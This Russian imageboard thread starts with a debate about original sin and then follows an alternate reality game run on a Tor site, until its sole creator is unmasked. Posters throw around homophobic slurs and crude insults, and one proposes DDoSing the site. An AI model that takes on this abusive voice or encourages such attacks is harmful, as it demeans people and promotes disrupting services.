Не понимаю, грехи - это вина перед Богом? Зачем Богу делать своего сына живым, чтобы потом его убить и простить себе же ошибки своих же созданий? Он не мог просто простить людям грехи, не?

>>280844
>и ранами Его мы исцелились
Да и как можно было искупить чужие косяки своей смертью? В этом просто нет логики, лол.

>>280846
Православная церковь учит, что первородный грех - сорт оф инфекция, лекарство от которой - кровь Христа.
>>280847
В законе ВЗ это возможно. Все эти ветхозаветные жертвоприношения во искупление грехов - ягнят, горлиц, козлов - являются, согласно учению РПЦ, прообразом жертвы Христа.
Притянуто за уши, согласен. Это одна из причин, по которым я отказался от религии, когда поумнел.

>>280844
Алсо, зачем Бог создал людей? У него уже были ангелы - они были подобны Богу и уже обладали свободой воли (тот же Люцифер). Люди это по сути менее совершенные ангелы из мяса и с необходимостью поддерживать в них жизнь.

>>280848
Мда, ну и ты правда шаришь. Хоть это и звучит как бред.

>>280849
>Алсо, зачем Бог создал людей?
Многоходовочка же. Нет, серьёзно, Библия на этот вопрос не отвечает, говорит только, что человек должен владычествовать "над рыбами морскими, и над птицами небесными, и над зверями, и над скотом, и над всею землею, и над всеми гадами, пресмыкающимися по земле" (Бытие, 1:26).
>с необходимостью поддерживать в них жизнь.
Согласно Библии, человек до грехопадения не болел и не умирал.

>>280852
>Согласно Библии, человек до грехопадения не болел и не умирал.
Так вроде Бог его заряжал своим духовным фалосом, а потом перестал это делать и Адам умер через пару тысяч лет, не?

>>280854
То есть, он как бы по инерции прожил некоторое время и скопытился.

>>280851
>Мда, ну и ты правда шаришь
Спасибо. По специальности я студент-медик, может, мои познания в этой сфере вам тоже пригодятся. Ну так я закачусь к вам в июле, вы закукливаться на пароль не собираетесь?

>>280857
>вы закукливаться на пароль не собираетесь?
вроде никто не собирался

>>280854
>Так вроде Бог его заряжал своим духовным фалосом
Нет. Он просто был бессмертен и здоров, как стадо альфачей, и при этом был голым и не стыдился, что бы это ни значило.
>и Адам умер через пару тысяч лет
Через 930, если быть точным. Библейский рекорд долголетия - 969 лет (Мафусал, прапрапрапраправнук Адама).

>>280858
Ну ок тогда, а то мало ли что. Сейчас не хочу к вам добавляться, чтобы от учёбы ничего не отвлекало.

>>280860
Так он стал смертен от того, что заразился грехом на генном уровне?

>>280863
Да. А ещё Бог его проклял, заявив, что он в поте лица своего будет есть хлеб, обрабатывая землю, которая породит сорняки (Бытие, 3:19).
А ещё Бог боялся конкуренции: "И сказал Господь Бог: вот, Адам стал как один из Нас, зная добро и зло; и теперь как бы не простер он руки своей, и не взял также от дерева жизни, и не вкусил, и не стал жить вечно." (Бытие, 3:22).

>Зачем Бог создал человека
Бог - рептилоид, который вывел расу людей как рабов без свободной воли, чтобы они ему подчинялись. Люцифер - его тян-хипсторша, которая считала разведение мутантов-рабов негуманным и дала Адаму и Еве генный павер-ап, "дающий знания и делающий их равными богу". Бог разозлился и съебал на планету Нибиру, а телку-хипсторшу бросил здесь.

>>280867
А потом дома он рассказал друзьям про этот случай и они время от времени летали к людям, чтобы прикинуться их богом и потраллить.

>>280860
>>280865
Адам был сотворен бессмертным, грех его заразил и передался потомкам. Кровь Иисуса искупила грех человеческого рода. Почему тогда люди не стали идеальными и бессмертными снова?

Да и какой смысл был искупать грехи людей? Ничего не изменилось же.

>>279954
>Команда TDC расчитала что это число - количество секунд, которое осталось до 2 января 2016 года.

Как именно происходил расчёт? Похоже на толстоту.

https://ninoetevzx2irhgj.onion.to/lab/8/
а это что?

>>280137
Кажется мы все таки вскрыли тему.

>begemotik85@protonmail.соm
Что-то напоминает мне, что это имямыла придумано русскоязычным аноном.

>>280128
Порт смени

>>280285
Школьники не знают про отсчет с начала эры Юникса

Попробуйте поискать места на фотках на карте.

>>280952
Гений

>>280624
Да похуй уже, первое время тред вызывал интерес, пока не набижали два кулхацкера с манией преследования и мыслями про игру и заговоры. Закрылись анально в IRC я ебутся там в жопы, сюда инфу не сливают потому что с ними играют блять в реалтайме, каким нужно быть объебосом что бы в это поверить. 404 у них там было блять, ага, сидит владелец сайта и двачует тут овер дохуя времени в надежде, что кучка обмудков таки заметит его сайт, что бы играть с ним в игру, я охуеваю блять. Тупо из-за пидоров тред скатили в "мы там шепчимся в ирц, тайна пиздец, вселенский заговор, игры разума - а вы идите нахуй". Тупые уебки, типо если тут спалят все, то что мешает вас спалить в IRC? Короче идите нахуй с этим тредом, ебитесь в жопы там.

>>280138
>>280670
>>280887
Перепись даунов itt, лол.

>>280943
Уже и сомнения не вызывает, что анон-хозяин ARG русскоязычен
Более того, весьма вероятно, что он - один из анонов с канала
Если кто заинтересован - входите и присоединяйтесь, не обращайте внимания на срачи в треде
Пока что временное затишье, ожидаем окончания обратного отсчёта

>>280985
У меня сомнения не вызывает, что хозяин оп и главный семен всех тредов про сайт.

>>280869
жир с монитора потёк, прекращай

>>280986
Джва криппосайта этому адеквату.

Ребят зашёл в комнату с паролем, взяв ключ anna:anna мне написали что пользователь мёртв, ну ОК. Дальше зашёл в комнату с паролем, используя ключ nino:kuko, мне написали что нужно знать правила и заходит в нужную дату.
Так вот кто-нибудь уже разгадал в какое время и когда можно войти на закрытую страничку?

>>280999
Время закончится в час ночи (по мск) 17 июля.
Мы ничего не знаем, сами ждем.

>>280976
Двачую.

>Если кто заинтересован - входите и присоединяйтесь, не обращайте внимания на срачи в треде

А потом как бы не сразу он вас пидорнет с канала за ридонли. Типа в канале собралась ШАРЯЩАЯ ИЛИТА и ебут друг друга в жопы не дает смертным никакой информации. Идите нахуй.

>>281060
>>281063
есть в канале отдельные нервные личности, но это отнюдь не все.
заходите, кому действительно интересно.

>>281067

>>281088
Весь смысл. Инфу в тред пилить не хотят, закрылись у себя в ирке.

>>281088
лол бомбануло азазаз
>>281089
тред уже не нужен
если все закончится хорошо, запилим всю историю в отдельный

>>281089
И всё таки,ты у нас в ирке продолжаешь сидеть,лол

>>281090
> если все закончится хорошо, запилим всю историю в отдельный
А если как всегда хуйцов соснете?

>>281100
если соснем хуйцов
то все равно выложим инфу, мб другим поможет в следующий раз

я так и хуй понял, хозяин сайта общается с кем-то или что? вот вы что-то делаете с какой целью? что вы хотите найти?

>>281067
Там одна ебанутая личность и скоро она останется в гордом одиночестве, на ходу придумывая себе новые правила. Ирк канал это отражение нашего общества. Сходите и посмотрите как обсуждали cicada 3301 и сравните с этим тредом или с ирк-каналом. Сначала мне казалось что там команда собралась. Потом я покинул канал. Сейчас же вообще мне кажется, что иметь дело с ними некомильфо. Есть по жизни ущербные люди, которые могут подвести не к месту.

>>281143
А потом окажется, что в финале покажут им hui.gif - столько людей отправлено нахуй за просто так.

https://ninoetevzx2irhgj.onion.to/lab/100.jpg

https://ninoetevzx2irhgj.onion.to/lab/untitled-3.mpg

>>281139
Выполняем интернет квест
>>281143
Ну и кто ты?

>>281088
Ну суть в том, что ридонли не нужны, ибо помогаешь - либо вали

>>281148
Я G7352.

>>281149
И кто так решил? Почему? Зачем?

>>281151
Ты дурак что-ли? Ты либо учавствуешь в чём-либо, либо нет! К примеру футбол. Ты либо играешь в него, либо ты пидарас ридонли. И никак по другому. Понял?

>>281150
А причина лива то какая?

>>281156
А давайте мы типа в русский футбол играем, а я такой как Аршавин на скамейке запасных сижу.

>>281157
Да уж вроде всё обсосали в этом треде. То, что я раскопал (ZX, частоты) вы нигде не использовали (хотя частоты сами по себе интересны - о них отдельный разговор). Ридонли сидеть вроде как нельзя. Ущербным звеном в проекте быть не охота. Сидеть рядом с людьми, которые к вновь пришедшим (а вы о них НИЧЕГО не знаете!) относятся также, как и к той заблудшей Амнезии, которую забанили и кикнули? Тычки эстодинанона "ты что сделал, а ты что сделал, ебланы!" мне не нужны. Атмосферы там нет -> Интерес угас.

>>281164
мы с тобой прочекали радиочастоты
ничего не нашли, у тебя есть хоть какие то идеи насчет них?
если чо чиркани в жаббер мне [email protected]

Мальца обосрался с этой пикчи

>>281183
Да я сюда отвечу. У меня секретов нет. Возможны три реальных варианта применения этого списка. В порядке возрастания сложности реализации:
1. Это всего-навсего бутафория. Просто список цифр добавленный для понта, который ничего общего с радиосвязью (в его понимании) не имеет (или имеет, но опосредовано, косвенно). Тем не менее для меня это явные частоты - от 3МГц до 30МГц КВ(целые числа) и 2м\70см участки (большие дробные числа). И на них в любом случае возможна связь.
2. Частоты из журнала SWL какого-нибудь. Возможно он сам слушает эфир (сам является SWL, как и я) и просто записывал интересное в этот файл. В таком случае никакой смысловой нагрузки данный список в контексте нашей АРГ не имеет.
3. Высший пилотаж. АРГ использует радиосвязь в одном из своих уровней. Это был-бы ваще кайф! Чудо чудес! число технически, есть аппараты, которые перекрывают (в раскрытом состоянии) весь вышеупомянутый список (с оговорками!). К примеру Yaesu FT-857 может или SDR какой. Не проблема и пару аннтенн поставить на КВ и УКВ. Он 100 Вт на КВ отдает и им можно покрыть сигналом весь земной шарик. Участки не радиолюбительские, а какие попало. Так и отдельно аппараты на разные бэнды использовать можно. Ну, в любом случае, на УКВ покытие сигналом будет пара десятков километров. Да и плюс ко всему, неизвестно время вещания. Частоты подобраны интересно, реальная радиосеть будет работать в такой сетке на ура. Есть куча каналов под любое время суток. В любом случае я буду их мониторить!

>>280279
Только влился в тред. Полазил по ссылкам и вот как я понял смысл сайта - действите ведётся на трёх языках эсперанто, японский, латынь и фраза на хорватском хорватского. Существует какое-то сообщество нино, главная задача которых найти кого-то. На сайте куча всяких разделов с книгам и картинками, а главный раздел сайта - лаб, для которого нужен логин, у этого раздела есть список правил, которые оказались хуетой о тихом доме и типо достигнув 10 лвла допуска члену нино дают какую-то расшифрованну библию и он исчезает из интернета, но ни слова про то, кого надо найти. И, кстати, есть ещё ссылка, котору я не заметил в треде http://ninoetevzx2irhgj.onion/static/ где написано слово закрыто, а в исходном коде
>Laboratorio trovi ilin
что можно перевести как лаборатория найти их, это походу про раздел лаб.

Фраза на хорватском переводится как "вы знаете где остальные правил" ? Кто-нибудь знает о каких других правилах речь?

Зашёл под oleg oleg и мне выдало

Account suspended

Reason: dead

Олежк умер или что это значит?

>>280541
Странная кладка плитки, нигде таких не видел в рашке. Уверен насчёт Твери?

Вскрываемся.

Slow0 Зайди в ирку. Ай хэв квестшонс.

>>279997
>http://ninoetevzx2irhgj.onion/malleus/
Внизу лежит бумажка библиотеки Герцога Августа, книги по идее от туда

>>279954
deus получает библию, остальные кто старались сосут хуй

estodinanonim

Где все, где pavo? Почему все разбежались? Решать сложные задачи в 1,5 анонима нереально

>>281345
Потерпи, они обычно там во второй половине дня собираются.

>>281191
Так этож пикча про НЛО совсем недавняя её русский сфотал, там еще вышка рядом была, а баба сверху прифотошоплена.

>>281344
Это не я писал, и вообще я не подписываюсь

>>279954
А теперь пожалуй подпишись, я esto.

В итоге kkk12 - создатель сайта. Они хотели втянуть evrey'я в свою игру, но успешно соснули.

good game, well played.

>>281381
В разработке участвовали:
Deus_m
Evrey(который пожалел нас и слил всех остальных)
Kkk12
Krishap
-------------------
Writed by Dartsmoler.

>>281382
Еврей не при делах, с его слов:
-Я в чат написал: "СТОП". Потом кто то у kkk спросил по какому он поводу набухался. kkk ответил: "Да просто так)". И потом я ему ответил: "Я так и знал". И ккк подумал, что я имею ввиду про игру
А не про то что он набухался

>>281382
Объясните уже все, раз так.
5 местных хуев сделали сайт-игру, вбросили сюда и анон начал играть, сколько играло-то человек не из числа тех, кто имел отношения к созданию? Ну, не просто зашли потыкали пару раз, а задрачивались?

>>281386
это сделал один человек
меня, криша и еврея причисляют зря.
Мы это спалили только вчера вечером. Я например был за продолжение, в конце концов это можно было вывести в некие легенды снача лол.
Мы втроем(я,еврей,криш) до этого так же как все задрачивались. У меня за пять дней недосыпа появились мешки под глазами лол
вот так как то

http://ninoetevzx2irhgj.onion/files/research/
Почему никто не понял что это вот и http://ninoetevzx2irhgj.onion/files/research/l~1/rec-data~p0/res/ между собою напрямую связаны и все посвящено какой-то экспедиции?

http://ninoetevzx2irhgj.onion/files/research/ag~1/misc/garbage/todelete/pix/10610967.jpg

lol

Выложите схему прохождения

На самом деле я ахуенно провел время с вами. Хоть чем то запомниться это лето)
Жаль конечно, что все закончилось вот так. Но я к этому был изначально готов так как уже не раз участвую в АРГ.
Пора бы уже понять, что дибвеба, тихого дома и прочей паронормальщины попросту не существует.
Спасибо kkk12 за эту прекрасную АРГ.
Еврей

>>281428
http://rghost.ru/6hXCfXTDK
пароль: ninetev

>>281441

Благодарствую

>>281440
>все закончилось вот так. Но я к этому был изначально готов так как уже не раз участвую в АРГ.
>Пора бы уже понять, что дибвеба, тихого дома и прочей паронормальщины попросту не существует.
>Спасибо kkk12 за эту прекрасную АРГ.
>Еврей

Да я тоже повеселился. Жалко некоторые загадки были слишком сложные и мне приходилось подсказывать =)


//kkk12

kkk12, скажи честно, что за список с частотами? Мне они спать спокойно не дают!

Аноны, пилить развернутую схему? Нашел пару ошибок и добавил отсылок, но полностью доделывать влом. Интересно кому?

Что за хуйню вы тут устроили, дегенераты чатиковые? Пиздуйте с моих двачей.

>>281451

Которые /data => числа сгенеренные по определенному алгоритму, на основе ряда фибоначи и зависящие от времени суток - их нужно боту отправлять.

Еще там есть список частот номерных радиостанций - этот список был добавлен просто так.

>>281459
kkk12, вкатись в #ninoetev, если это ты

куда делась конфа?


p.s insane-кун

>>281471
все на месте

>>281471
Инсайн,в какую конфу съебались всё?
Dartsmoler-кун

Где все то?

estodinanonim

>>281523
Мы ушли с ирки
Добавляй втентакль /alt255alt30

>>281547
Выше смотри

>>281552
В глаза ебусь, укажи

>>281554
>>281552
если ты про тентакль, то это плохая идея.

>>281555
5человек уже перекатились

>>281563

Вбросьте сюда потом ссылку, если осилите сделать.

/kkk12

Лол, ккк семёнил в ирке представителем тайной организации, не поменяв айпи
Саги ему

>>281673
его заебало, атвичаю)))
вбрасывал все больш инфы а ленивые хуи в канале сами ничего не копали
решил по петросянить тайным агентом и по угарать над нубасами)))))

>>281550
бля, а вы разве не на whiteleave? я вас там ждал, в ирке.

>>281737
Они там долго не выдержали и перекатились в уютные чатики с пикчами
Вообще говоря слив автора правда был каким то навязчивым. Особенно учитываю херню prosto в приват некоторым что они прошли ступень и должны прислать инфу на мыло

>>281751
>в уютные чатики с пикчами
лучше бы тред потёрли, было бы збс

>>280857
Тебя случайно не Павлик зовут?

>>281737
Дак добавляйся втентакль епт
Там почти все
Insane

Прочёл шапку. Переметнулся в конец треда. Понял, что сборище петухов решили сами себе яйца покрутить и поняшиться в гузло в ирке.

Сагаскрыл

http://rghost.ru/7vwNlQ2yH

>>281806
вы повторяете шаги ШСМ, что вы за придурки, почему вас всех в этот вкудахт тянет, сука?

Кто в итоге оказался Автором Сайта?

думаю, это был esto==prosto, не?

>>281956
kkk12 же, ты слепой

Ннадо сказать, довольно убого всё было сработано.
Ничего не моггло принести. Born dead.

>>280025
В каком из значений RDS?

>>281956
Дурачок, kkk12 создатель, а остальные когда узнали решили ему подыгрывать - нахуй таких пидоров

esto

>>281983
завались нахуй питух
мы узнали за день до раскрытия его

deus

>>282020
Халло, Деус, ты и ещё пара челов - единственные адекватные типы в этой теме.

мимо-марк

>>282028
Адекватные? Они хотели продолжать этот цирк. Если бы с ними делали этот театр, им бы не понравилось

>>282094
насколько я знаю всем доставляло разгадывание этой загадки, если бы даже и так, то я был бы доволен)

тем более я один выиграл библию хехе

deus

>>282103
Ты её не выиграл, а так было подстроено. Говорилось про 5 человек, а вы начали менять правила игры. Это не интересно.

kkk12 доставишь исходники сайта?

esto

Ну и куда вы все разбежались? В ирке пусто.

>>282111
Я один успел ввести адрес, а не то что некоторые долбаебы, решившие фейкопочту написать

deus

>>282146
ебать, ты ещё и радуешься своему деанону, пиздец ты промытый

мне до сих пор кажется что эстодианон был вместе с ккк и просто. слишком шустро они слили всю игру и разогнали людей из канала а копии библии ушли тем кто ввел по тихому и не выпендривался но это уже другая история

>>282111
> а так было подстроено. Говорилось про 5 человек, а вы начали менять правила игры. Это не интересно.
>

Никто ничего менял. Всю игру делал я, поэтому и правила мои. Библию я собирался высылать на почтовый адрес. Почтовый адрес ввел только один человек. Остальные не осилили английский язык.

p.s. исходники не дам.

//kkk12

http://ninoetevzx2irhgj.onion/files/research/ag~1/misc/garbage/kol_razum.pdf

>>279954
Кто-то уже постил это? Что у него с руками?

>>282348

>>282348
>>282396
ага, шум очень палевный
ккк, пояснишь за фото?

>>281865
Дак все таки разобрались, а то я свалил тогда)

>>282396
Но бля, но что с руками? У него локти на уровне пояса, если не ниже.

>>282419
>ккк, пояснишь за фото?

В gimp сделал. Там обычная фотка была. Человек из воды выходит.

Аноны которые делали игру, есть вопрос к вам.

Среди вас есть кто делал sacred silence?

>>282598
Да сколько можно? Эту игру делал один человек - kkk. Я сомневаюсь, что ss делал он.

>>282686
да ебать, это ж нисталкеры, еблись друг с дружкой в канальчике. все вместе пытались sn наебать, только вот разводки хуёвые. уровни блять, библия блять, тихого дома нахуй, дауны.

>>282692
>все вместе пытались sn наебать
что долбоёб чтоле? Чем мы вас наебать пытались?
Инфа по сайту тру, а всё испортил ккк12, преждевременно захохотав и сорвав всю игру, хотя мы могли бы ещё немного

[email protected]

kkk12 выйди на связь

>>282836
написал на почту

onion.to does not host this content; we are simply a conduit connecting Internet users to content hosted inside the Tor network..

onion.to does not provide any anonymity. You are strongly advised to download the Tor Browser Bundle and access this content over Tor

Я один тут такой рак?

>>282945
а тор запустить не судьба?

Ого как всё повернулось, я даже не ожидал.
Жаль конечно что квест закончился, даже если это всё и был театр одного актера то мне очень понравилось. Командный дух, тайны, интриги, расследования...

DeSu ты обещал мне копию библи лол

Inviz-кун

Го еще.

>>282841
Это я Гик, выйди на связь. На лоре есть контакты мои. Поболтать хочу.

>>284196
ты чего в ирк не заходил?
NoLogin

>>284196
мой ник на лоре @jabber.ru - я тебе писал, ты оффлайн

А как работали эти боты на жабе? Что за пароль надо было ввести "Kuko? Pass:", на ninoetevzx можно и без запроса пароля получить ответ

Продолжу интересоваться :]
esto

>>285101
ты слишком поздно пришёл, друг
все уже положили член на это дело.

NoLogin

Пиздос, перечитал весь тред, так и не понял что произошло. Что это был за сайт? Что еще за игра? Что за ккк12 и с чего вдруг решили, что он - создатель этого всего? Поясните плз.

>>286529
мы в ирке исследовали этот сайт, потом ккк12 решил сдаться и рассказал что сайт его рук дело.
Весь сайт - подставная хуета

>>286534
Ясно. Румын-стайл, в общем. А жаль.

>>280099
Половая губа

а вот тут сисяндры нормальные

https://ninoetevzx2irhgj.onion.to/files/research/ag~1/misc/garbage/todelete/pix/10405762.jpg

>>279954 (OP)
рeзюмируя всё прoизoшeдшee для будущих aвтoрoв ARG: я нe aвтoр
1) нaчaльный вбрoс дoлжeн зaинтeрeсoвaть ширoкий круг aнoнoв eсли вaшa цeль нe трoллить 3,5 илитaриeв, тoлькo при увeрeннoсти в этoм мoжнo дeлaть пeрeкaт в кoнфы, кoтoрый нe стухнeт oт пaрaнoикoв, стeрв и изрeдкa зaглядывaющих "я тoлькo пoчитaть"
2) нaйдeннaя инфa дoлжнa ПРОСАЧИВАТЬСЯ, пoхуй кaким oбрaзoм, нo прoгрeсс рaзвития игры дoлжeн быть видeн и дoлжeн пoдoгрeвaть интeрeс у oбщeствa и ЧСВ у игрaющих
3) нужнo быть гoтoвым к тoму, чтo всe дeбилы и нe пoймут oчeрeднoй зaгaдки. 1й, 2й рaз eё мoжнo рeшить и сaмoму, eсли ты шифруeшься пoд игрoкa, нo этo зaeбывaeт. прeдлaгaю пытaться oргaничнo встрaивaть пoдскaзки к пoдскaзкaм или дeлaть aльтeрнaтивныe пути
4) внимaтeльнoсть! oпeчaтки в мeгaсупeрпупeртaинствeнных мaнускриптaх нe дoбaвят увaжeния к oргaнизaтoрaм
5) гoтoвьтeсь к мистификaциям и пoддeлкaм рeзультaтoв, oни мoгут зaпутaть игру, нo мoгут внeсти и интeрaктивнoсть

Infanoj ne devus malfermi la temon. Vi estas juna, ludema, vi ĉiuj facila. Ne estas tiel. Ne estas Chikatilo aŭ eĉ arkivoj de specialaj servoj. Pli bone ne iri. Serioze, neniu el vi cxagrenas. Pli bone apudela temo kaj forgesas kio estas skribita. Mi plene komprenas ke la datumoj mesaĝon alvoko plian intereson, sed mi rapidos averti esplorema - halti. Aliaj simple ne trovos.

>>294878
>Дети не должны открыть тему. Вы молодой,
>игривый, все из вас просто. Это не так. Это
>не Чикатило или даже файлы из спецслужб.
>Это лучше не идти. Серьезно, никто из вас не
>будет жаль. Лучше условии apudela и забыть
>то, что написано. Я полностью понимаю, что
>вызов сообщение данных дополнительные
>проценты, но я спешу предупредить
>любознательный - остановиться. Другие
>просто не найти

>>294798
Схоронил, спасибо.

Пидоры, держите годную литературу для погромистов.
http://ninoetevzx2irhgj.onion/files/research/ag~1/misc/garbage/kol_razum.pdf

Вы не задумывались раньше, кто мог создать Великий мир? Он в изобилии насыщен прекрасной красотою див, прекрасными цветами света и ровно той же темнотой, страданьем, болью от разрыва, прекрасных утром, страшных днём, созданий бога полудумья, созданей мысленных границ, как много в этом бренном мир кому-то нужных единиц.

>>294943
-_- великий рандом же, физика - тот де C++ скрипт но только на сверхогромных маштабах.

>>294943
Антон детектед.

>>280307
первая пикча это скрин из видео, как-то давно смотрел по телику передачу, про снежного человека типа, вот там было это видео.В чем суть видео, слева от этого чувака темнота - там и пройдет этот "снежный человек" а справа купается в воде его братва.Если кому интересно было или пригодиться )

>>280614
давай его задоссим

>>295402
>заддосим ТОР сайт
ты ебанутый? лол, как мы это сделаем?

Опять долбоебы из нетлаб? Как же вы заебали уже.

>>295558
http://www.wired.co.uk/news/archive/2013-05/3/silk-road-ddos
http://www.coindesk.com/silk-road-2-0-shrugs-sophisticated-ddos-attack/

Ебать вы бы еще позже пришли, давно на слоупоков в крови проверялись?

Deus

>>295811
Проиграл

esto

Алсо, kkk12 оставь свои контакты (лучше ВК) нужно задать пару вопросов

>>295811
>>295865
Еще отсосите друг другу.

Игра продолжается?
kkk12 отпиши на почту если ты здесь вообще бываешь
[email protected]

deus

>>295876
а ну пшшш отсюда

deus

Ананы, 2й день читал тред(вернее ночь), думал в начале присоединиться, потом понял, что все стухло и наебано.
А так: "неплохо сыграно"

>>295895
Нахуй пропутешествуй.

>>295901
Ловите ньюфага.

>>295865
угарнул с слоупоков в крови

NoLogin

Буйство одного семена.

>>295978
Нет, ты

Меня не было 2 месяца, у меня умерли все жесткие диски одновременно. Не знаю, что это за хуйня, но потратил тысяч 30. Как вы тут, как вы пережили мою пропажу?

И да, если я вам все еще нужен, найдите мне ирку для яблока и скиньте логпасс,

>>296120
Ты тред почитал, клоун?

>>296111
1337, хреново, что ты пропал. Мы ждали тебя

qquuxx

>>296126
Можешь мне сказать как все кончилось, чтобы весь тред не читать?

>>296122
Не обзывайся. Не почитал.

>>296143
Смотри схему игры, выше была

>>296166
И что, все закончено?

>>296175
1337, отпишись мне на почту, если интересно
[email protected]

я

kkk12, ты еще тут?

>>296175
Да, всему жопа. Это всё было игрой одного гада.
Жаль, очень жаль, а ведь были большие надежды.

>>296539
NoLogin, отпишись и мне, пожалуйста
[email protected]
qquuxx

>>296545
О чём тебе отписаться, всё закончилось же